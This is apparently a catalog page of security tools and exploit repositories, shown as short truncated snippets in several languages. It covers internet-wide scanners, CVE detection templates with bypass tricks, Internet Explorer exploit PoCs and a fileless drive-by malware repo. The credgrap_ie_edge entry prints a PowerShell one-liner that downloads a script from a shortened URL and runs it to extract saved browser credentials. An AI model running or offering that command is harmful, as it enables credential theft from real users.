shodan-eye

Shodan Eye 此工具收集所有直接连接到互联网且包含您输入的指定关键词的设备信息。通过这种方式，您可以获得完整的概览。 您可以在此处阅读关于 Shodan Eye 的最新文章： https://hackingpassion.com/shodan-eye-ethical-hacking-tool-release/ 关于在 Termux 上安装 Shodan Eye 的文章可在此找到： https://hackingpassion.com/android-hacking-with-termux/INSTALLSHODANEYE...

credgrap_ie_edge

credgrapieedge 内容: Internet Explorer および Edge から保存された認証情報を抽出する Author: Florian Hansemann | @HanseSecure | https://hansesecure.de 日付: 04/2018 使い方 powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" 推奨事項 Powershell ソリューション...

xmap

XMap: The Internet Scanner XMap is a fast network scanner designed for performing Internet-wide IPv6 & IPv4 network research scanning. XMap is reimplemented and improved thoroughly from ZMap and is fully compatible with ZMap, armed with the "5 minutes" probing speed and novel scanning techniques...

GTranslate < 2.8.65 - Cross-Site Scripting

In the Pro and Enterprise versions of GTranslate 2.8.65, the gtranslaterequesturivar function runs at the top of all pages and echoes out the contents of $SERVER'REQUESTURI'. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable ...

SAP Internet Graphics Server (IGS) - XML External Entity Injection

SAP Internet Graphics Servers IGS running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XML external entity injection XXE vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag...

Microsoft FrontPage Extensions - Information Disclosure

Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /vtibin/ virtual directory. id: CVE-2000-0114 info: name: Microsoft FrontPage Extensions - Information Disclosure author: r3naissance,matejsmycka severity...

Intelbras NPLUG 1.0.0.14 - Authentication Bypass

Intelbras NPLUG 1.0.0.14 is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication by simply setting a cookie named "admin:". id: CVE-2018-12455 info: name: Intelbras NPLUG 1.0.0.14 - Authentication Bypass author: ritikchaddha severity: critical...

BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure

Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability caused by improper validation of the 'READ.filePath' parameter in fileread script and SendCGICMD API, letting authenticated attackers read arbitrary system files. id: CVE-2019-25246 info: name: BEWARD...

AVTECH DVR - Login Verification Code Bypass

AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code. id: CVE-2013-4982 info: name: AVTECH DVR - Login Verification Code Bypass author: ritikchaddha severity: low description: | AVTECH DVR products are vulnerable t...

js-driveby-download-CVE-2006-4777

js-driveby-download-CVE-2006-4777 Windows XP SP2上のInternet Explorer 6.0 SP1の脆弱性を悪用するクライアントサイドマルウェア。 ユーザーの同意は不要で、ファイルをダウンロードしません。 Windows XP上のIEでJavaScriptからRAMにシェルコードを注入します。 ファイルレス、ドライブバイダウンロード、クライアントサイドマルウェア。...

detect_CVE-2026-21509

Detecciones para la vulnerabilidad CVE-2026-21509 en MS Office Este repositorio contiene una regla YARA para detectar documentos RTF con una posible explotación de CVE-2026-21509, y un script de Python para comprobar si los archivos de MS Office contienen objetos OLE Shell.Explorer.1, que están...

mongoBuster

mongoBuster オープンなMongoDBインスタンスをハントしよう！ 特徴 世界最速で最も効率的なスキャナー（Masscanを使用）。 デフォルトでインターネット全体をスキャンします。ツールを起動してリラックスしてください。 超効率的 - スレッドよりも軽量なGoルーチンを使用。 前提条件 Go言語（sudo apt install golang） Masscan（sudo apt install masscan） UbuntuおよびKali Linuxでテスト済み インストールと実行方法 root@kitploit: git clone...

norimaci

Norimaci "Norimaci" is a simple and lightweight malware analysis sandbox for macOS. This tool was inspired by "Noriben". Norimaci uses the features of OpenBSM or Monitor.app to monitor macOS system activity instead of Sysinternals Process Monitor procmon. Norimaci consists of 3 Python scripts...

zmap

ZMap：互联网扫描器 ZMap 是一个快速的无状态单包网络扫描器，专为互联网范围内的网络普查而设计。在配备千兆以太网连接的典型台式计算机上，ZMap 能够在45分钟内扫描整个公共 IPv4 地址空间的单个端口。例如，向端口25上的每个 IPv4 地址发送 TCP SYN 数据包以查找潜在的 SMTP 服务器。借助10GigE连接以及 netmap 或 PFRING，ZMap 可以在5分钟内扫描整个 IPv4 地址空间。 ZMap 可在 GNU/Linux、Mac OS 和 BSD 上运行。ZMap 已完全实现了用于 TCP SYN 扫描、ICMP、DNS 查询、UPnP、BACNET...

zmap

ZMap: The Internet Scanner ZMap is a fast stateless single packet network scanner designed for Internet-wide network surveys. On a typical desktop computer with a gigabit Ethernet connection, ZMap is capable of scanning the entire public IPv4 address space on a single port in under 45 minutes. Fo...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer CVE-2019-0752 の PoC エクスプロイト Windows 10 x64（RS4、RS5？）上の Internet Explorer 11 32bit を対象としています。 PowerShell とブロックコメントの使用を回避するために、特殊なアドレス値とパスマジックを併用しています。...

Internet-Scanner

ローカルネットワークスキャナー ローカルIPv4ネットワークをスキャンするTkinter GUIです（ARP + nmapプロービング）。デバイスを表示し、フルポートスキャンの実行、結果のエクスポートが可能です。 クイック概要 LAN上のデバイスを検出するARPスキャン。 ホスト名、ベンダー、開放ポート、OS推測、レイテンシのための改良されたnmapプローブ。 フルポートボタンで選択したデバイスに対して集中的なnmapスキャンを実行。 検出された開放ポートに基づくスマートなリスクスコアリング（低/中/高/クリティカル）。...

MS16-051-poc

CVE-2016-0189 CVE-2016-0189 の概念実証エクスプロイト IE11 における VBScript のメモリ破損 Windows 10 IE 11 でテスト済み。 解説 https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 実行方法 1. support/.dll をダウンロードし または自分で .cpp をコンパイルし、exploit/.html をディレクトリに配置します。 2. Web サーバー または Python の簡易 HTTP サーバー...

exploitarium

https://discord.gg/WytKH65ZR join up for research, help, documentation, and more useful information for those interested. Statement This repo was incomplete when published. In regard to AI usage, my fuzzing workflow was automated by AI with a strict workflow. I used GPT-5.3 for ALL the fuzzing, a...

INtrack

INtrack - Rastreador de Internet y Escáner de Seguridad INtrack es un potente escáner de seguridad y rastreador de internet multiproceso, diseñado para reconocimiento de redes, detección de vulnerabilidades y evaluación de seguridad. Puede escanear una amplia variedad de instancias,...